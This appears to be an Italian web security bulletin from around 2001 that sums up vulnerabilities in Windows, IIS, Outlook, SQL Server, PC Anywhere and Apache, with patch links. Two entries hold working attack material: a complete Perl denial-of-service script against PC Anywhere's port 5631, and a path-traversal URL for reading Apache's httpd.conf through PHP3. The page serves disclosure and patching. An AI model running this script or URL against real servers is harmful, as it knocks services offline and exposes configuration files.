Bollettino sulla sicurezza

Novità dal mondo. Pillole e links relativi a scoperte di bugs nei prodotti più famosi, aggiornamenti Microsoft per migliorare la sicurezza, articoli tecnici...

 

 

  Il servizio ISA Server Web Proxy non gestisce correttamente le richieste che contengono un particolare tipo di argomento malformato. Processare tali richieste causa un "Access Violation" che causa il blocco del servizio proxy.

Patch: isahf63.exe - 230 Kb

  Plus 98, un pacchetto opzionale che estende Windows 98 (prima e seconda edizione), introduce una caratteristica di compressione chiamata "Compressed Folders", inclusa anche in Windows ME. A causa di un errore, la password usata per proteggere le cartelle è registrata in un file. Un malintenzionato può leggere la password da tale file.
Microsoft informa che tale protezione non era comunque progettata per essere una protezione importante.

Patch:

Cancellare pure il file c:\windows\dynazip.log.

  L'oggetto VB-TSQL debugger che viene fornito con Visual Studio 6.0 versione Enterprise, ha un uncheched buffer nel codice che processa i parametri per uno dei suoi metodi. Dato che il programma può essere referenziato in remoto, nella migliore delle ipotesi un malintenzionato potrebbe causare il non funzionamento dell'oggetto sulla macchina host. Nel caso più serio potrebbe generare un buffer overrun e l'esecuzione di qualsiasi programma presente sulla macchina remota.

Patch inglese 
  Winzip32 8.0 ha un problema di buffer overrun che puo` essere usato per eseguire un qualsiasi codice nel contesto di sicurezza concesso a Winzip stesso (quindi se in account di amministrazione non ci sono limiti). Il problema si verifica semplicemente quando viene usata la funziona zip-and-email con un nome di file molto lungo.

Versioni affette: versione 8.0 per NT e Win2000

Patch: nessuna patch. Il fornitore correggera` il problema nella prossima release.

 

Il centro NIPC dell'FBI ha rilasciato una lista di recenti attacchi a siti di e-commerce ed e-banking

http://www.nipc.gov/warnings/advisories/2001/01-003.htm

Da notare che quasi tutti gli attacchi sono stati effettuati attraverso vulnerabilita` note e di cui esiste gia` l'antidoto (ovvero tutte le patch presenti in questo bollettino). Evidentemente il problema e` sottovalutato.

 

 

WebDAV e` un'estensione del protocollo HTTP che permette la gestione da remoto della gestione del contenuto di un Web. In Windows 2000 ed IIS5, esiste un problema per cui uno stream di richieste malformate in un certo modo possono consumare tutte le risorse di CPU e rendere non disponibile il server.

Al momento non e` stata rilasciata alcuna patch, ma solo un workaround per disabilitare il WebDav e potete trovarlo a questo indirizzo della KB:

http://www.microsoft.com/technet/support/kb.asp?ID=241520

 

  E` possibile tramite una email o una pagina web, scoprire qual'e` la posizione fisica dove risiede la cache di IE. Grazie a questa informazione, un malintenzionato potrebbe aprire la cache nel computer locale. Questo gli permetterebbe di lanciare un file help di tipo .chm contenente un collegamento ad un eseguibile e lanciarlo. Inutile dire che predisponendo volontariamente il file di help e l'eseguibile in una email o una pagina web, diventa possibile far girare qualsiasi exe sulla macchina del visitatore (ed il file exe puo` fare di tutto...).

Patch:

http://www.microsoft.com/windows/ie/download/critical/q286045/default.asp

aggiornare pure lo scripting host con queste patch (per le 2 versioni)
  IIS 5.0 contiene un problema nel modo in cui gli URL vengono gestiti. Un URL di particolare costruzione e in uno specifico range di lunghezza in caratteri inviato ripetutamente, potrebbe causare un memory allocation error che risulterebbe nel blocco di IIS

Patch necessarie:
  Il visualizzatore di eventi di Windows 2000 ha un problema in una sezione del codice che mostra la visualizzazione dettagliata dei records. Questo bug puo` essere sfruttato facendo registrare particolari eventi con dati malformati. In questo modo e` possibile: (1) mandare in crash il visualizzatore eventi (2) fargli eseguire del codice tramite il buffer overrun.
  • Microsoft Windows 2000 Professional
  • Microsoft Windows 2000 Server
  • Microsoft Windows 2000 Advanced Server
  • Microsoft Windows 2000 Datacenter Server

 Patch: Q285156_W2K_SP3_x86_en.EXE - 212 Kb

 

Creando una vCard ed editando il suo contenuto in una data maniera ed inviando una email con tale vcard ad un altro utente, un malintenzionato potrebbe causare sia un malfunzionamento del mail client, sia lanciare del codice che non ha limitazioni di autorizzazione se non quella dell'utente stesso che riceve l'email !

Versioni affette:

  • Microsoft Outlook 97

  • Microsoft Outlook 2000

  • Microsoft Outlook Express 5.01

  • Microsoft Outlook Express 5.5

Patch (solo inglese): http://www.microsoft.com/windows/ie/download/critical/q283908/download.asp

  Un servizio su tutte le macchine Windows 2000 che fungono da domain controller contiene un difetto su come gestire certe richieste. Questa particolarita` puo` essere sfruttata per un DoS.

Versioni affette

  • Microsoft® Windows® 2000 Server
  • Microsoft Windows 2000 Advanced Server
  • Microsoft Windows 2000 Datacenter Server

Patch:Q287397_W2K_SP3_x86_en.EXE - 2,283 Kb

 

Windows Media Player 7 ha una caratteristica chiamata "Skins" che permette la personalizzazione dell'aspetto del programma. Se uno di questi skins (estensione WMZ) viene scaricato dal sito web di un malintenzionato, potrebbe esserci nascosto del codice Java che permetterebbe poi di leggere e navigare tra i files della macchina client. 

Questo succede perche` gli skins sono scaricati in una posizione conosciuta sulla macchina della vittima e sono memorizzati in file zip. Se questo pacchetto zip contiene una classe java (.class), qualsiasi codice in questa classe potrebbe essere eseguito sulla macchina della vittima con il suo medesimo privilegio.

In altre parole e` semplicissimo realizzare un Trojan sfruttando come mezzo di trasporto gli skins di Media Player.

 

Rimedi: disattivare l'esecuzione di codice java non contrassegnato come sicuro, oppure usare la patch.

Patch: wmsu38041.exe - 1,198 Kb

  Il servizio PPTP in Windows NT4, ha un bug in una parte del codice che gestisce un particolare tipo di paccehto dati. Questo problema genera una mancanza di memoria del Kernel. Se un sufficiente numero di pacchetti contenenti uno specifca malformazione vengono ricevuti da un server affetto dal problema in questione, la memoria del kernel potrebbe esaurirsi. Il risultato genera solitamente un blocco del server o comunque del servizio. In ogni caso la macchina deve essere riavviata ed ogni sessione PPTP viene persa. Per il malintenzionato, non e` necessario stabilire una connessione PPTP valida per effettuare questa operazione.

Nessuna patch disponibile al momento da Microsoft

  Un Denial of Service (DoS) e` stato scoperto nel prodotto Symantec PC Anywhere 9.0. Inviando tra 320 e 500KB di dati ad una delle porte in ascolto (da 5631 a 65301), PCAnywhere va in crash

Esempio:

use IO::Socket;
   $host = "$ARGV[0]";
   $port = 5631;
   if ($#ARGV<0) {
   print "use it like: $0 <hostname>\n";
   exit();
   }
   $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>$port) || die "damn, ";
   print "hello\n";
   $buf = "";
   for($counter = 0; $counter < 500000; $counter++) {
           $buf .= "\x61";
   }
   print $socket "$buf\n";
   close($socket);
   exit();

Symantec sta lavorando al problema, ma in questo momento non ci sono aggiornamenti.

  Un problema nella sicurezza NTLM potrebbe permettere ad un utente senza permessi di amministratore di guadagnarseli.
  • Microsoft Windows NT 4.0 Workstation
  • Microsoft Windows NT 4.0 Server
  • Microsoft Windows NT 4.0 Server, Enterprise Edition
  • Microsoft Windows NT 4.0 Server, Terminal Server Edition

Patch: Q280119i.EXE - 106 Kb

  Il Network DDE Agent in Windows 2000 gira utilizzando il contesto di sicurezza locale e processa tutte le richieste usando questo contesto invece di usare quello dell'utente. Questo fornisce la possibilita` ad un malintenzionato di far lanciare al DDE Agent del codice di sua scelta nel contesto locale, con possibile presa di completo controllo sulla macchina.
  • Microsoft Windows 2000 Professional
  • Microsoft Windows 2000 Server
  • Microsoft Windows 2000 Advanced Server

Patch:Q285851_W2K_SP3_x86_en.EXE - 215 Kb

 

L'implementazione del protocollo RDP in Win2000 Terminal Service non gestisce correttamente una particolare serie di pacchetti dati. Se la serie di pacchetti sono ricevuti da un server affetto, il problema causa un blocco del server stesso.

  • Microsoft Windows 2000 Server

  • Microsoft Windows 2000 Advanced Server

 Patch:  http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27500

  Gli hotfix rilasciati per Windows 2000 (vedere anche gli avvisi precedenti in questo bollettino) possono, sotto certe condizioni, essere rimossi da un utente malintenzionato riportando quindi vulnerabilita` gia risolte.

http://www.microsoft.com/technet/security/bulletin/ms01-005.asp

  Microsoft ha rilasciato una patch che elimina un problema di sicurezza in IIS. Il problema potrebbe permettere ad un malintenzionato di leggere parti di files da un server Web, in particolari circostanze.
 

Microsoft ha rilasciato una patch che elimina un problema di vulnerabilita` in Microsoft® Windows NT 4.0. Il problema potrebbe permettere ad un malintenzionato di lanciare in esecuzione uno speciale programma per disabilitare  la funzionalita` di networking sul computer affetto dal problema.

Prodotti affetti:

  • Microsoft Windows NT 4.0

  • Microsoft Windows NT 4.0, Terminal Server Edition

Patch:
  Microsoft ha rilasciato un patch che elimina un problema di sicurezza in Microsoft PowerPoint 2000. Il problema permetterebbe ad un utente di creare un file di PowerPoint che, quando aperto, potrebbe potenzialmente lanciare del codice sul sistema dove viene letto.

Patch:

http://officeupdate.microsoft.com/2000/downloaddetails/ppt2ksec.htm

 

Il Web Extender Client (WEC) è un componente distribuito con Office 2000, Windows 2000, e Windows Me. WEC permette ad IE di visualizzare epubblicare file tramite web folders così come avviene operando con Windows Explorer. A causa di un difetto di implementazione, WEC non rispetta i settaggi di sicurezza di IE (Internet Explorer). Il problema permette ad un malintenzionato di catturare la credenziali NTML aprendo una mail html da lui inviata o visitando il suo sito. 

Patch:
 

Tra le funzioni incluse nelle estensioni di Frontpage (FPSE), installate per default con IIS 4 e 5, ve ne e` una che processa i form di cui e` stato fatto il submit da un utente. Un malintenzionato potrebbe sfruttare un problema in questa funzione per inviare un form mal configurato in un particolare modo e bloccare IIS.

Microsoft IIS 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26277

Microsoft IIS 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26704

 

Un controllo ActiveX fornito come parte di Indexing Service e` erroneamente marcato come sicuro per l'esecuzione come script, abilitando cosi` l'esecuzione da applicazioni web. Tale controllo puo` quindi essere utilizzato per enumerare files e cartelle e vederne le proprieta` (ma non e` possibile leggerli).

Versioni affette:  Index Server 2.0 e  Indexing Service 3.0

Index Server 2.0 e` fornito come parte di Windows NT 4.0 Option Pack. Indexing Service 3.0 e` fornito come parte di tutte le versioni di Windows 2000.

 

La patch seguente puo` essere applicata su tutti i Windows 2000 Gold or Service Pack 1. Sara` inclusa nell'SP3.

Patch per indexing Service 3.0:

Q280838_W2K_SP2_x86_en.EXE - 207 Kb

 

Patch per Index server 2.0 non fornita in quanto, Microsoft indica che tale prodotto dovrebbe essere installato solo su web il quale non dovrebbe mai essere utilizzato per navigare in Internet.

 

Microsoft ha rilasciato una patch che elimina un problema di sicurezza sui Microsoft® Windows® 2000 domain controllers. Il problema permetterebbe ad un malintenzionato di fare accesso ad un domain controller ed installarvi del software.

Versioni affette: Microsoft Windows 2000 Server e Microsoft Windows 2000 Advanced Server

 

Il problema deriva dal fatto che che utilizzando il tool “Configure Your Server” per promuovere una macchina al ruolo di primo domain controller, la password del Directory Service Restore Mode e del Recovery Console resta vuota.

Se un malintenzionato riesce ad avviare il Directory Services Restore Mode, potrebbe autenticarsi con la password nulla e accedere al sistema con qualita` di amministratore.

 

Patch non ancora disponibile

 

Rilasciata una patch per Microsoft Windows Media Service. La patch elimina un problema di sicurezza grazie al quale un malintenzionato potrebbe degradare le prestazioni del server fino al punto di bloccarlo.

Versioni affette dal problema: 4.0 e 4.1

WMSU35924.EXE - 666 Kb

  Apache Web Server 1.3

Problema di sicurezza irrisolto sulla versione in oggetto su Windows NT and Windows 2000 servers con Apache Web server e PHP3. Un malintenzionato puo` usare questa vulnerabilita` per accedere al contenuto di vari files

 

Ad esempio, se un malintenzionato volesse accedere al file httpd.conf, basterebbe digitare come indirizzo :

http://www.vulnerabile.com/index.php3.%5c../..%5cconf/httpd.conf  (dove vulnerabile e` ovviamente il nome del dominio)

  Microsoft ha rilasciato un tool che corregge i permessi di diversi registri in Windows NT4 (tutte le versioni). I permessi di base potrebbero infatti permettere ad un malintenzionato di impossessarsi di privilegi aggiuntivi.

Q265714i.EXE - 243 Kb

  Microsoft ha rilasciato un tool che corregge i permessi di diversi registri in Windows 2000 (tutte le versioni). I permessi di base potrebbero infatti permettere ad un malintenzionato di monitorare o riconfigurare certi device sul network.

Q266794_W2K_SP2_x86_en.EXE - 302 Kb

 

A causa di un buffer non propriamente controllato, il  servizio Phoone Book Service su IIS4 e IIS5 potrebbe permettere ad un malitenzionato che invii un particolare pacchetto malformato di eseguire del codice sul server. Questo permetterebbe di acquisire privilegi che non gli competono: IUSR_machinename account (IIS 4) o IWAM_machinename account (IIS 5), con possibilita` quindi di eseguire, in alcuni casi, comandi di sistema.

Patch:

Microsoft Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26193

Microsoft Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25531

 

Rilasciata una patch per Microsoft® SQL Server and Microsoft SQL Server Desktop Engine (MSDE). Il problema potrebbe permettere ad un malintenzionato di far girare codice sul server.

Il problema si verifica se sono installate le Extended Stored Procedures (XPs)

La patch ha lo scopo di variare tutti i default XPs per allocare correttamente la dimensione del buffer prima di chiamare srv_paraminfo(). Il problema e` infatti, ancora una volta un buffer-underrun.

 

Prodotti affetti dal problema: Microsoft SQL Server 7.0, Microsoft SQL Server 2000, Microsoft Data Engine 1.0 (MSDE 1.0), Microsoft SQL Server Desktop Engine 2000 (MSDE 2000)

 

Patch: http://support.microsoft.com/support/sql/xp_security.asp
  Eliminati 3 problemi da Internet Explorer:
  • Il template di stampa che poteva permettere al possessore di un sito web di effettuare azioni non autorizzate sul computer dei visitatori del suo sito.
  • L'upload che permetteva al possessore di un sito di leggere files sul PC del visitatore.
  • Nuove varianti sulla vulnerabilita` dello “Scriptlet Rendering” e “Frame Domain Verification”, entrambi con il bug che permette al possessore di un sito di leggere i files sul computer del visitatore.

Patch: http://www.microsoft.com/windows/ie/download/critical/279328

 

DoS (Denial of Service) in tutte le versioni Windows ad eccezione di Window 2000. Un malintenzionato con accesso alla porta NBT (area locale o Internet) potrebbe bloccare il funzionamento della rete o il blocco del sistema operativo. La soluzione per Win9x consiste nel disattivare la condivisione di files e stampanti oppure passare a Win NT. 

Fornita invece una patch per NT4: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25114

 

Microsoft ha rilasciato una patch che elimina due problemi di sicurezza in  Windows Media Player tramite i quali, un malintenzionato potrebbe lanciare un programma di sua scelta sul computer del malcapitato. I due problemi in questione sono ".ASX Buffer Overrun" e ".WMS Script Execution".

Patch:

- Windows Media Player 6.4:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26069

- Windows Media Player 7:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26067

 

Microsoft ha rilasciato una patch che elimina un problema di vulnerabilita` in Windows 2000. Il problema potrebbe permettere ad un malintenzionato di eseguire piu` tentativi di indovinare una passowrd di accesso anche se l'amministratore ha messo il blocco sui tentativi. Windows 2000 Gold non e` affetto dal problema.

- http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25606

 

 

IIS supporta l'uso delle Session ID, ma IIS non supporta l creazione delle Secure Session ID come definita dalla RFC 2109. Come risultato, se un utente naviga in una pagina SSL (come quelle presenti sui siti Home Banking ) e poi passa ad una pagina senza protezione sullo stesso sito (come quelle che precedono una transazione o al termine della stessa), lo stesso Session ID sara` scambiato in puro testo senza crittografazione e visibile su tutto il canale di comunicazione. Intercettare tale ID permette ad un malintenzionato di eseguire qualsiasi operazione che dovrebbe poter eseguire solo l'utente autorizzato.

 

Seconda Patch al problema gia`  corretto da patch precedente:

- IIS 4.0:

x86 platforms:

http://www.microsoft.com/ntserver/nts/downloads/critical/q274149

Alpha platforms:

Tramite richiesta al Microsoft Product Support Services

- IIS 5.0:

http://www.microsoft.com/Windows2000/downloads/critical/q274149

 

 

Microsoft comunica che versioni di revisione A (stampato sul CD sotto il numero di prodotto) di Exchange 2000 Server sono vulnerabili all'uso dell'account creato dal programma di setup durante l'installazione. Nello specifico, se un malintenzionato conosce il nome e` la pass di default puo` utilizzarli per entrare nell'account. Se Exchange 2000 e` installato su un Domain Controller, tale account avra` privilegi di Domain e puo` quindi avere accesso anche ad altre risorse.

 

Patch: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25866

 

pagina seguente 

 

Chiunque voglia collaborare con novità e notizie interessanti può inviarle facendo click sull'icona al lato.

Non modificare il titolo preimpostato.